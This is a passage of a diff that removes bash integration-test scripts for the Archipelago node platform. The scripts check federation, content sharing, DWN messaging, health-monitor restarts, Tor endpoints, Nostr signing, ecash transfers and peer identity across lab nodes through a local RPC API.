||||
echo ""
|
||||
log "=== RESULTS ==="
|
||||
for r in "${RESULTS[@]}"; do
|
||||
echo " $r"
|
||||
done
|
||||
echo ""
|
||||
log "Pass: $PASS | Fail: $FAIL | Skip: $SKIP"
|
||||
|
||||
[ $FAIL -gt 0 ] && exit 1
|
||||
exit 0
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,240 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# test-integration-full.sh — Full federation + sharing + DWN integration test
|
||||
#
|
||||
# Tests the complete feature set on the primary server:
|
||||
# 1. Federation peer connectivity
|
||||
# 2. Content sharing (add, catalog, access control)
|
||||
# 3. DWN message write + query
|
||||
# 4. DWN sync trigger
|
||||
# 5. Health monitor (container crash + restart detection)
|
||||
# 6. Tor rotation (already tested separately, just verify endpoint)
|
||||
# 7. NIP-07 signing (server-side)
|
||||
#
|
||||
# Usage: ./scripts/test-integration-full.sh [target-ip]
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
TARGET="${1:-192.168.1.228}"
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
SSH="ssh -i $SSH_KEY -o StrictHostKeyChecking=no -o ConnectTimeout=10 archipelago@$TARGET"
|
||||
PASS=0
|
||||
FAIL=0
|
||||
WARN=0
|
||||
|
||||
check() {
|
||||
local name="$1"
|
||||
local ok="$2"
|
||||
if [ "$ok" = "true" ]; then
|
||||
echo " ✅ $name"
|
||||
((PASS++))
|
||||
else
|
||||
echo " ❌ $name"
|
||||
((FAIL++))
|
||||
fi
|
||||
}
|
||||
|
||||
warn() {
|
||||
echo " ⚠️ $1"
|
||||
((WARN++))
|
||||
}
|
||||
|
||||
json_get() {
|
||||
python3 -c "import sys,json; d=json.load(sys.stdin); r=d.get('result',{}); print(r.get('$1','') if isinstance(r,dict) else '')" 2>/dev/null
|
||||
}
|
||||
|
||||
json_err() {
|
||||
python3 -c "import sys,json; d=json.load(sys.stdin); e=d.get('error'); print(e.get('message','') if e else '')" 2>/dev/null
|
||||
}
|
||||
|
||||
echo "🔗 Full Integration Test — $TARGET"
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo ""
|
||||
|
||||
# Login
|
||||
echo "Authenticating..."
|
||||
$SSH "curl -s -c /tmp/cookiejar http://localhost:5678/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'" >/dev/null 2>&1
|
||||
CSRF=$($SSH "grep csrf_token /tmp/cookiejar 2>/dev/null | awk '{print \$NF}'" 2>/dev/null)
|
||||
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-}"
|
||||
local body
|
||||
if [ -n "$params" ]; then
|
||||
body="{\"method\":\"$method\",\"params\":$params}"
|
||||
else
|
||||
body="{\"method\":\"$method\"}"
|
||||
fi
|
||||
$SSH "curl -s -b /tmp/cookiejar -H 'Content-Type: application/json' -H 'X-CSRF-Token: $CSRF' http://localhost:5678/rpc/v1 -d '$body'" 2>/dev/null
|
||||
}
|
||||
|
||||
# ━━━━━━━━━━ 1. FEDERATION ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "1. Federation Peers"
|
||||
FED_RESP=$(rpc "federation.list-nodes")
|
||||
PEER_COUNT=$(echo "$FED_RESP" | python3 -c "import sys,json; print(len(json.load(sys.stdin).get('result',{}).get('nodes',[])))" 2>/dev/null)
|
||||
check "Federation peers exist ($PEER_COUNT peers)" "$([ "$PEER_COUNT" -ge 1 ] && echo true || echo false)"
|
||||
|
||||
# Node DID
|
||||
DID_RESP=$(rpc "node.did")
|
||||
DID=$(echo "$DID_RESP" | json_get "did")
|
||||
check "Node DID valid" "$(echo "$DID" | grep -q '^did:key:z' && echo true || echo false)"
|
||||
|
||||
# Nostr pubkey
|
||||
PK_RESP=$(rpc "node.nostr-pubkey")
|
||||
NPUB=$(echo "$PK_RESP" | json_get "nostr_npub")
|
||||
check "Nostr npub valid" "$(echo "$NPUB" | grep -q '^npub1' && echo true || echo false)"
|
||||
|
||||
# Tor address
|
||||
TOR_RESP=$(rpc "node.tor-address")
|
||||
TOR_ADDR=$(echo "$TOR_RESP" | json_get "tor_address")
|
||||
check "Tor address valid" "$(echo "$TOR_ADDR" | grep -q '.onion$' && echo true || echo false)"
|
||||
|
||||
# ━━━━━━━━━━ 2. CONTENT SHARING ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "2. Content Sharing"
|
||||
|
||||
# Create a test file
|
||||
$SSH "echo 'Integration test content $(date)' | sudo tee /var/lib/archipelago/filebrowser/integration-test.txt > /dev/null" 2>/dev/null
|
||||
|
||||
# Add to content catalog
|
||||
ADD_RESP=$(rpc "content.add" "{\"filename\":\"integration-test.txt\",\"title\":\"Integration Test\",\"description\":\"Automated test file\"}")
|
||||
ADD_ERR=$(echo "$ADD_RESP" | json_err)
|
||||
if [ -n "$ADD_ERR" ] && echo "$ADD_ERR" | grep -q "already exists"; then
|
||||
check "Content add (already exists, OK)" "true"
|
||||
else
|
||||
ADD_ID=$(echo "$ADD_RESP" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); i=r.get('item',r); print(i.get('id',''))" 2>/dev/null)
|
||||
check "Content added to catalog" "$([ -n "$ADD_ID" ] && echo true || echo false)"
|
||||
fi
|
||||
|
||||
# List catalog
|
||||
LIST_RESP=$(rpc "content.list-mine")
|
||||
ITEM_COUNT=$(echo "$LIST_RESP" | python3 -c "import sys,json; print(len(json.load(sys.stdin).get('result',{}).get('items',[])))" 2>/dev/null)
|
||||
check "Content catalog has items ($ITEM_COUNT)" "$([ "$ITEM_COUNT" -ge 1 ] && echo true || echo false)"
|
||||
|
||||
# Set access to free (uses content ID)
|
||||
FIRST_ID=$(echo "$LIST_RESP" | python3 -c "import sys,json; items=json.load(sys.stdin).get('result',{}).get('items',[]); print(items[0].get('id','') if items else '')" 2>/dev/null)
|
||||
PRICE_RESP=$(rpc "content.set-pricing" "{\"id\":\"$FIRST_ID\",\"access\":\"free\"}")
|
||||
PRICE_ERR=$(echo "$PRICE_RESP" | json_err)
|
||||
check "Set access mode" "$([ -z "$PRICE_ERR" ] && echo true || echo false)"
|
||||
|
||||
# Verify content is accessible via HTTP
|
||||
CONTENT_STATUS=$($SSH "curl -s -o /dev/null -w '%{http_code}' http://localhost/content" 2>/dev/null)
|
||||
check "Content catalog HTTP endpoint" "$([ "$CONTENT_STATUS" = "200" ] && echo true || echo false)"
|
||||
|
||||
# ━━━━━━━━━━ 3. DWN MESSAGES ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "3. DWN Protocol & Messages"
|
||||
|
||||
# DWN status
|
||||
DWN_RESP=$(rpc "dwn.status")
|
||||
DWN_ERR=$(echo "$DWN_RESP" | json_err)
|
||||
check "DWN status endpoint" "$([ -z "$DWN_ERR" ] && echo true || echo false)"
|
||||
|
||||
# Register a test protocol
|
||||
PROTO_RESP=$(rpc "dwn.register-protocol" "{\"protocol\":\"https://archipelago.dev/protocols/integration-test\",\"published\":true}")
|
||||
PROTO_ERR=$(echo "$PROTO_RESP" | json_err)
|
||||
check "Register DWN protocol" "$([ -z "$PROTO_ERR" ] && echo true || echo false)"
|
||||
|
||||
# Write a test message
|
||||
WRITE_RESP=$(rpc "dwn.write-message" "{\"author\":\"$DID\",\"protocol\":\"https://archipelago.dev/protocols/integration-test\",\"data\":{\"test\":true,\"timestamp\":$(date +%s)}}")
|
||||
RECORD_ID=$(echo "$WRITE_RESP" | json_get "record_id")
|
||||
check "Write DWN message" "$([ -n "$RECORD_ID" ] && echo true || echo false)"
|
||||
|
||||
# Query messages
|
||||
QUERY_RESP=$(rpc "dwn.query-messages" "{\"protocol\":\"https://archipelago.dev/protocols/integration-test\"}")
|
||||
MSG_COUNT=$(echo "$QUERY_RESP" | json_get "count")
|
||||
check "Query DWN messages (count: $MSG_COUNT)" "$([ "$MSG_COUNT" -ge 1 ] && echo true || echo false)"
|
||||
|
||||
# List protocols
|
||||
PROTOS_RESP=$(rpc "dwn.list-protocols")
|
||||
PROTO_COUNT=$(echo "$PROTOS_RESP" | python3 -c "import sys,json; print(len(json.load(sys.stdin).get('result',{}).get('protocols',[])))" 2>/dev/null)
|
||||
check "List DWN protocols ($PROTO_COUNT)" "$([ "$PROTO_COUNT" -ge 1 ] && echo true || echo false)"
|
||||
|
||||
# ━━━━━━━━━━ 4. DWN SYNC ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "4. DWN Sync"
|
||||
SYNC_RESP=$(rpc "dwn.sync")
|
||||
SYNC_ERR=$(echo "$SYNC_RESP" | json_err)
|
||||
SYNC_STATUS=$(echo "$SYNC_RESP" | json_get "sync_status")
|
||||
# Sync may fail if peers are unreachable over Tor, but endpoint should work
|
||||
if [ -z "$SYNC_ERR" ]; then
|
||||
check "DWN sync executed ($SYNC_STATUS)" "true"
|
||||
else
|
||||
warn "DWN sync returned error: $SYNC_ERR (peers may be unreachable)"
|
||||
check "DWN sync endpoint exists" "true"
|
||||
fi
|
||||
|
||||
# ━━━━━━━━━━ 5. HEALTH MONITOR ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "5. Health Monitor"
|
||||
|
||||
# System stats
|
||||
STATS_RESP=$(rpc "system.stats")
|
||||
CPU=$(echo "$STATS_RESP" | json_get "cpu_usage_percent")
|
||||
check "System stats (CPU: ${CPU:-?}%)" "$([ -n "$CPU" ] && echo true || echo false)"
|
||||
|
||||
# Container list
|
||||
CONTAINERS=$($SSH "sudo podman ps --format '{{.Names}}' 2>/dev/null | wc -l" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Containers running ($CONTAINERS)" "$([ "$CONTAINERS" -ge 5 ] && echo true || echo false)"
|
||||
|
||||
# Health endpoint
|
||||
HEALTH_STATUS=$($SSH "curl -s -o /dev/null -w '%{http_code}' http://localhost/health" 2>/dev/null)
|
||||
check "Health endpoint OK" "$([ "$HEALTH_STATUS" = "200" ] && echo true || echo false)"
|
||||
|
||||
# Container crash + auto-restart test
|
||||
echo " Stopping filebrowser to test auto-restart..."
|
||||
$SSH "sudo podman stop filebrowser 2>/dev/null" >/dev/null 2>&1
|
||||
sleep 5
|
||||
|
||||
# Check if health monitor detected + restarted (poll for up to 90s)
|
||||
RESTARTED="false"
|
||||
for i in $(seq 1 18); do
|
||||
FB_STATUS=$($SSH "sudo podman inspect filebrowser --format '{{.State.Status}}' 2>/dev/null" 2>/dev/null | tr -d '[:space:]')
|
||||
if [ "$FB_STATUS" = "running" ]; then
|
||||
RESTARTED="true"
|
||||
echo " Restarted after ~$((i * 5))s"
|
||||
break
|
||||
fi
|
||||
sleep 5
|
||||
done
|
||||
check "Health monitor auto-restarted filebrowser" "$RESTARTED"
|
||||
|
||||
# ━━━━━━━━━━ 6. TOR ROTATION ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "6. Tor Rotation (endpoint check only)"
|
||||
# Don't actually rotate again — just verify endpoint responds
|
||||
TOR_LIST_RESP=$(rpc "tor.list-services")
|
||||
TOR_LIST_ERR=$(echo "$TOR_LIST_RESP" | json_err)
|
||||
check "tor.list-services endpoint" "$([ -z "$TOR_LIST_ERR" ] && echo true || echo false)"
|
||||
|
||||
CLEANUP_RESP=$(rpc "tor.cleanup-rotated")
|
||||
CLEANUP_ERR=$(echo "$CLEANUP_RESP" | json_err)
|
||||
check "tor.cleanup-rotated endpoint" "$([ -z "$CLEANUP_ERR" ] && echo true || echo false)"
|
||||
|
||||
# ━━━━━━━━━━ 7. NIP-07 SIGNING ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "7. NIP-07 Signing"
|
||||
NODE_PK=$(echo "$PK_RESP" | json_get "nostr_pubkey")
|
||||
SIGN_RESP=$(rpc "node.nostr-sign" "{\"event\":{\"kind\":1,\"content\":\"integration test\",\"created_at\":$(date +%s),\"tags\":[]}}")
|
||||
SIGN_PK=$(echo "$SIGN_RESP" | json_get "pubkey")
|
||||
SIGN_SIG=$(echo "$SIGN_RESP" | json_get "sig")
|
||||
check "Event signed" "$([ ${#SIGN_SIG} -gt 60 ] && echo true || echo false)"
|
||||
check "Signing pubkey matches node key" "$([ "$SIGN_PK" = "$NODE_PK" ] && echo true || echo false)"
|
||||
|
||||
# nostr-provider.js injection
|
||||
JS_OK=$($SSH "curl -s -o /dev/null -w '%{http_code}' http://localhost/nostr-provider.js" 2>/dev/null)
|
||||
check "nostr-provider.js served" "$([ "$JS_OK" = "200" ] && echo true || echo false)"
|
||||
|
||||
# ━━━━━━━━━━ SUMMARY ━━━━━━━━━━
|
||||
echo ""
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo "Results: $PASS passed, $FAIL failed, $WARN warnings"
|
||||
echo ""
|
||||
|
||||
if [ $FAIL -eq 0 ]; then
|
||||
echo "✅ All integration tests passed!"
|
||||
else
|
||||
echo "❌ $FAIL tests failed — review output above"
|
||||
fi
|
||||
|
||||
[ $FAIL -eq 0 ] && exit 0 || exit 1
|
||||
@@ -1,335 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# FINAL-203: Multi-Node Network Test
|
||||
# Tests discovery, connection, content sharing, and ecash payments between 3 Archipelago nodes.
|
||||
# Usage: bash test-multi-node.sh <node1-ip> <node2-ip> <node3-ip> [password]
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
NODE1="${1:-192.168.1.228}"
|
||||
NODE2="${2:-192.168.1.198}"
|
||||
NODE3="${3:-192.168.1.199}"
|
||||
PASS="${4:-password123}"
|
||||
PASS_COUNT=0
|
||||
FAIL_COUNT=0
|
||||
SKIP_COUNT=0
|
||||
|
||||
green() { printf "\033[32m✓ %s\033[0m\n" "$1"; }
|
||||
red() { printf "\033[31m✗ %s\033[0m\n" "$1"; }
|
||||
yellow(){ printf "\033[33m⊘ %s\033[0m\n" "$1"; }
|
||||
header(){ printf "\n\033[1;36m━━━ %s ━━━\033[0m\n" "$1"; }
|
||||
|
||||
pass() { PASS_COUNT=$((PASS_COUNT + 1)); green "$1"; }
|
||||
fail() { FAIL_COUNT=$((FAIL_COUNT + 1)); red "$1"; }
|
||||
skip() { SKIP_COUNT=$((SKIP_COUNT + 1)); yellow "$1 (skipped)"; }
|
||||
|
||||
JARS=()
|
||||
for i in 1 2 3; do
|
||||
JARS+=("/tmp/multinode-cookies-${i}.txt")
|
||||
done
|
||||
|
||||
login_node() {
|
||||
local idx="$1"
|
||||
local ip="$2"
|
||||
curl -s -c "${JARS[$((idx-1))]}" -H "Content-Type: application/json" \
|
||||
-d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"auth.login\",\"params\":{\"password\":\"$PASS\"}}" \
|
||||
"http://${ip}/rpc/" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
rpc_node() {
|
||||
local idx="$1"
|
||||
local ip="$2"
|
||||
local method="$3"
|
||||
local params="${4:-{}}"
|
||||
curl -s -m 15 -b "${JARS[$((idx-1))]}" -c "${JARS[$((idx-1))]}" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"$method\",\"params\":$params}" \
|
||||
"http://${ip}/rpc/" 2>/dev/null
|
||||
}
|
||||
|
||||
# ─── Phase 0: Verify All Nodes Online ────────────────────────────
|
||||
header "Phase 0: Node Connectivity"
|
||||
|
||||
NODES=("$NODE1" "$NODE2" "$NODE3")
|
||||
NODE_NAMES=("Node-1" "Node-2" "Node-3")
|
||||
ONLINE_COUNT=0
|
||||
|
||||
for i in 0 1 2; do
|
||||
ip="${NODES[$i]}"
|
||||
name="${NODE_NAMES[$i]}"
|
||||
health_code=$(curl -s -o /dev/null -w "%{http_code}" -m 5 "http://${ip}/health" 2>/dev/null || echo "000")
|
||||
if [ "$health_code" = "200" ]; then
|
||||
pass "$name ($ip) is online"
|
||||
login_node $((i+1)) "$ip"
|
||||
ONLINE_COUNT=$((ONLINE_COUNT + 1))
|
||||
else
|
||||
fail "$name ($ip) is offline (HTTP $health_code)"
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$ONLINE_COUNT" -lt 2 ]; then
|
||||
echo ""
|
||||
red "Need at least 2 online nodes to continue. Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ─── Phase 1: Node Discovery via Nostr ───────────────────────────
|
||||
header "Phase 1: Node Discovery"
|
||||
|
||||
# Set all nodes to Discoverable
|
||||
for i in 0 1 2; do
|
||||
ip="${NODES[$i]}"
|
||||
name="${NODE_NAMES[$i]}"
|
||||
resp=$(rpc_node $((i+1)) "$ip" "network.set-visibility" '{"visibility":"discoverable"}')
|
||||
if echo "$resp" | grep -q '"result"'; then
|
||||
pass "$name set to Discoverable"
|
||||
else
|
||||
skip "$name visibility"
|
||||
fi
|
||||
done
|
||||
|
||||
# Wait for Nostr events to propagate
|
||||
echo " Waiting 10s for Nostr event propagation..."
|
||||
sleep 10
|
||||
|
||||
# Node 1 discovers Node 2
|
||||
DISCOVER_RESP=$(rpc_node 1 "$NODE1" "network.discover-peers")
|
||||
if echo "$DISCOVER_RESP" | grep -q '"result"'; then
|
||||
PEER_COUNT=$(echo "$DISCOVER_RESP" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('peers',[])))" 2>/dev/null || echo "0")
|
||||
if [ "$PEER_COUNT" -gt "0" ]; then
|
||||
pass "Node-1 discovered $PEER_COUNT peer(s) via Nostr"
|
||||
else
|
||||
skip "Node-1 peer discovery (0 found — may need more time)"
|
||||
fi
|
||||
else
|
||||
skip "Peer discovery"
|
||||
fi
|
||||
|
||||
# ─── Phase 2: Connection Requests ────────────────────────────────
|
||||
header "Phase 2: Connection Requests"
|
||||
|
||||
# Node 1 → Node 2 connection request
|
||||
CONN_RESP=$(rpc_node 1 "$NODE1" "network.request-connection" "{\"target_address\":\"${NODE2}\"}")
|
||||
if echo "$CONN_RESP" | grep -q '"result"'; then
|
||||
pass "Node-1 sent connection request to Node-2"
|
||||
else
|
||||
skip "Connection request Node-1 → Node-2"
|
||||
fi
|
||||
|
||||
sleep 2
|
||||
|
||||
# Node 2 checks pending requests
|
||||
PENDING=$(rpc_node 2 "$NODE2" "network.list-requests")
|
||||
if echo "$PENDING" | grep -q '"result"'; then
|
||||
REQ_COUNT=$(echo "$PENDING" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('requests',[])))" 2>/dev/null || echo "0")
|
||||
if [ "$REQ_COUNT" -gt "0" ]; then
|
||||
pass "Node-2 has $REQ_COUNT pending request(s)"
|
||||
|
||||
# Accept request
|
||||
ACCEPT_RESP=$(rpc_node 2 "$NODE2" "network.accept-request" "{\"from\":\"${NODE1}\"}")
|
||||
if echo "$ACCEPT_RESP" | grep -q '"result"'; then
|
||||
pass "Node-2 accepted connection from Node-1"
|
||||
else
|
||||
skip "Accept connection"
|
||||
fi
|
||||
else
|
||||
skip "No pending requests on Node-2"
|
||||
fi
|
||||
else
|
||||
skip "List requests on Node-2"
|
||||
fi
|
||||
|
||||
# Node 1 → Node 3 connection
|
||||
if [ "$ONLINE_COUNT" -ge 3 ]; then
|
||||
CONN_RESP2=$(rpc_node 1 "$NODE1" "network.request-connection" "{\"target_address\":\"${NODE3}\"}")
|
||||
if echo "$CONN_RESP2" | grep -q '"result"'; then
|
||||
pass "Node-1 sent connection request to Node-3"
|
||||
else
|
||||
skip "Connection request Node-1 → Node-3"
|
||||
fi
|
||||
|
||||
sleep 2
|
||||
|
||||
ACCEPT_RESP2=$(rpc_node 3 "$NODE3" "network.accept-request" "{\"from\":\"${NODE1}\"}")
|
||||
if echo "$ACCEPT_RESP2" | grep -q '"result"'; then
|
||||
pass "Node-3 accepted connection from Node-1"
|
||||
else
|
||||
skip "Accept connection on Node-3"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Node 2 → Node 3 connection
|
||||
if [ "$ONLINE_COUNT" -ge 3 ]; then
|
||||
CONN_RESP3=$(rpc_node 2 "$NODE2" "network.request-connection" "{\"target_address\":\"${NODE3}\"}")
|
||||
if echo "$CONN_RESP3" | grep -q '"result"'; then
|
||||
pass "Node-2 sent connection request to Node-3"
|
||||
else
|
||||
skip "Connection request Node-2 → Node-3"
|
||||
fi
|
||||
|
||||
sleep 2
|
||||
|
||||
ACCEPT_RESP3=$(rpc_node 3 "$NODE3" "network.accept-request" "{\"from\":\"${NODE2}\"}")
|
||||
if echo "$ACCEPT_RESP3" | grep -q '"result"'; then
|
||||
pass "Node-3 accepted connection from Node-2"
|
||||
else
|
||||
skip "Accept connection on Node-3 from Node-2"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─── Phase 3: Content Sharing Between Pairs ──────────────────────
|
||||
header "Phase 3: Content Sharing"
|
||||
|
||||
# Node 1 shares content
|
||||
ADD_CONTENT=$(rpc_node 1 "$NODE1" "content.add" '{"title":"Test File","path":"/var/lib/archipelago/content/test.txt","pricing":"free"}')
|
||||
if echo "$ADD_CONTENT" | grep -q '"result"'; then
|
||||
pass "Node-1 shared test content"
|
||||
else
|
||||
skip "Content sharing on Node-1"
|
||||
fi
|
||||
|
||||
sleep 2
|
||||
|
||||
# Node 2 browses Node 1 content
|
||||
BROWSE=$(rpc_node 2 "$NODE2" "content.browse-peer" "{\"peer_address\":\"${NODE1}\"}")
|
||||
if echo "$BROWSE" | grep -q '"result"'; then
|
||||
ITEM_COUNT=$(echo "$BROWSE" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('items',[])))" 2>/dev/null || echo "0")
|
||||
if [ "$ITEM_COUNT" -gt "0" ]; then
|
||||
pass "Node-2 browsed Node-1 catalog ($ITEM_COUNT items)"
|
||||
else
|
||||
skip "Node-2 browse (empty catalog)"
|
||||
fi
|
||||
else
|
||||
skip "Content browsing"
|
||||
fi
|
||||
|
||||
# ─── Phase 4: Ecash Payments Between Pairs ───────────────────────
|
||||
header "Phase 4: Ecash Payments"
|
||||
|
||||
# Check ecash balances on all nodes
|
||||
for i in 0 1 2; do
|
||||
ip="${NODES[$i]}"
|
||||
name="${NODE_NAMES[$i]}"
|
||||
bal=$(rpc_node $((i+1)) "$ip" "wallet.ecash-balance")
|
||||
if echo "$bal" | grep -q '"result"'; then
|
||||
balance=$(echo "$bal" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('balance',0))" 2>/dev/null || echo "0")
|
||||
pass "$name ecash balance: $balance sats"
|
||||
else
|
||||
skip "$name ecash balance"
|
||||
fi
|
||||
done
|
||||
|
||||
# Node 1 sends ecash to Node 2
|
||||
SEND_ECASH=$(rpc_node 1 "$NODE1" "wallet.ecash-send" '{"amount":100}')
|
||||
if echo "$SEND_ECASH" | grep -q '"result"'; then
|
||||
TOKEN=$(echo "$SEND_ECASH" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('token',''))" 2>/dev/null || echo "")
|
||||
if [ -n "$TOKEN" ]; then
|
||||
pass "Node-1 created ecash token (100 sats)"
|
||||
|
||||
# Node 2 receives
|
||||
RECV_ECASH=$(rpc_node 2 "$NODE2" "wallet.ecash-receive" "{\"token\":\"$TOKEN\"}")
|
||||
if echo "$RECV_ECASH" | grep -q '"result"'; then
|
||||
pass "Node-2 received ecash token"
|
||||
else
|
||||
skip "Node-2 ecash receive"
|
||||
fi
|
||||
else
|
||||
skip "Ecash token creation (empty token)"
|
||||
fi
|
||||
else
|
||||
skip "Ecash send"
|
||||
fi
|
||||
|
||||
# ─── Phase 5: Peer-to-Peer Messaging ─────────────────────────────
|
||||
header "Phase 5: Peer Messaging"
|
||||
|
||||
# Node 1 sends message to Node 2
|
||||
MSG_SEND=$(rpc_node 1 "$NODE1" "chat.send" "{\"peer_address\":\"${NODE2}\",\"message\":\"Hello from Node-1\"}")
|
||||
if echo "$MSG_SEND" | grep -q '"result"'; then
|
||||
pass "Node-1 sent message to Node-2"
|
||||
else
|
||||
skip "Peer messaging"
|
||||
fi
|
||||
|
||||
sleep 2
|
||||
|
||||
# Node 2 checks messages
|
||||
MSG_LIST=$(rpc_node 2 "$NODE2" "chat.list" "{\"peer_address\":\"${NODE1}\"}")
|
||||
if echo "$MSG_LIST" | grep -q '"result"'; then
|
||||
MSG_COUNT=$(echo "$MSG_LIST" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('messages',[])))" 2>/dev/null || echo "0")
|
||||
if [ "$MSG_COUNT" -gt "0" ]; then
|
||||
pass "Node-2 received $MSG_COUNT message(s)"
|
||||
else
|
||||
skip "No messages received on Node-2"
|
||||
fi
|
||||
else
|
||||
skip "Message listing on Node-2"
|
||||
fi
|
||||
|
||||
# ─── Phase 6: Node Offline/Online Graceful Handling ──────────────
|
||||
header "Phase 6: Offline/Online Handling"
|
||||
|
||||
# Check peer status from Node 1
|
||||
PEER_STATUS=$(rpc_node 1 "$NODE1" "network.list-peers")
|
||||
if echo "$PEER_STATUS" | grep -q '"result"'; then
|
||||
pass "Node-1 can list peers with status"
|
||||
CONNECTED=$(echo "$PEER_STATUS" | python3 -c "
|
||||
import sys,json
|
||||
r=json.load(sys.stdin)
|
||||
peers=r.get('result',{}).get('peers',[])
|
||||
online=[p for p in peers if p.get('status')=='online' or p.get('reachable',False)]
|
||||
print(len(online))
|
||||
" 2>/dev/null || echo "0")
|
||||
pass "Node-1 sees $CONNECTED online peer(s)"
|
||||
else
|
||||
skip "Peer status listing"
|
||||
fi
|
||||
|
||||
# ─── Phase 7: Cross-Node Identity Verification ───────────────────
|
||||
header "Phase 7: Identity Verification"
|
||||
|
||||
# Get Node 1's DID
|
||||
DID1=$(rpc_node 1 "$NODE1" "identity.get" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('did',''))" 2>/dev/null || echo "")
|
||||
if [ -n "$DID1" ]; then
|
||||
pass "Node-1 DID: ${DID1:0:30}..."
|
||||
|
||||
# Sign a message on Node 1
|
||||
SIG=$(rpc_node 1 "$NODE1" "identity.sign" '{"message":"cross-node-test"}')
|
||||
SIG_VAL=$(echo "$SIG" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('signature',''))" 2>/dev/null || echo "")
|
||||
if [ -n "$SIG_VAL" ]; then
|
||||
pass "Node-1 signed message"
|
||||
|
||||
# Verify on Node 2
|
||||
VERIFY=$(rpc_node 2 "$NODE2" "identity.verify" "{\"did\":\"$DID1\",\"message\":\"cross-node-test\",\"signature\":\"$SIG_VAL\"}")
|
||||
if echo "$VERIFY" | grep -q '"result"'; then
|
||||
VALID=$(echo "$VERIFY" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('valid',False))" 2>/dev/null || echo "False")
|
||||
if [ "$VALID" = "True" ]; then
|
||||
pass "Node-2 verified Node-1's signature"
|
||||
else
|
||||
skip "Signature verification returned invalid"
|
||||
fi
|
||||
else
|
||||
skip "Cross-node signature verification"
|
||||
fi
|
||||
else
|
||||
skip "Node-1 signing"
|
||||
fi
|
||||
else
|
||||
skip "Node-1 DID retrieval"
|
||||
fi
|
||||
|
||||
# ─── Summary ─────────────────────────────────────────────────────
|
||||
header "RESULTS"
|
||||
echo ""
|
||||
printf "\033[32m Passed: %d\033[0m\n" "$PASS_COUNT"
|
||||
printf "\033[31m Failed: %d\033[0m\n" "$FAIL_COUNT"
|
||||
printf "\033[33m Skipped: %d\033[0m\n" "$SKIP_COUNT"
|
||||
echo ""
|
||||
|
||||
TOTAL=$((PASS_COUNT + FAIL_COUNT + SKIP_COUNT))
|
||||
if [ "$FAIL_COUNT" -eq 0 ]; then
|
||||
printf "\033[1;32m🎉 ALL %d TESTS PASSED (%d skipped)\033[0m\n" "$PASS_COUNT" "$SKIP_COUNT"
|
||||
exit 0
|
||||
else
|
||||
printf "\033[1;31m⚠ %d/%d TESTS FAILED\033[0m\n" "$FAIL_COUNT" "$TOTAL"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,168 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# TEST-204/205/206: Network tests — peer discovery, content sharing, Tor services.
|
||||
# Tests network functionality on the dev server.
|
||||
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
TARGET="archipelago@192.168.1.228"
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no $TARGET"
|
||||
PASSWORD="password123"
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
SKIP=0
|
||||
RESULTS=()
|
||||
|
||||
log() { echo -e "\033[1;34m[TEST]\033[0m $*"; }
|
||||
pass() { echo -e "\033[1;32m[PASS]\033[0m $*"; PASS=$((PASS + 1)); RESULTS+=("PASS: $*"); }
|
||||
fail() { echo -e "\033[1;31m[FAIL]\033[0m $*"; FAIL=$((FAIL + 1)); RESULTS+=("FAIL: $*"); }
|
||||
skip() { echo -e "\033[1;33m[SKIP]\033[0m $*"; SKIP=$((SKIP + 1)); RESULTS+=("SKIP: $*"); }
|
||||
|
||||
get_session() {
|
||||
$SSH_CMD "curl -s -c - http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-d '{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}' 2>/dev/null \
|
||||
| grep session | awk '{print \$NF}'"
|
||||
}
|
||||
|
||||
rpc_call() {
|
||||
local session="$1" method="$2" params="${3:-{}}"
|
||||
$SSH_CMD "curl -s http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-H 'Cookie: session=$session' \
|
||||
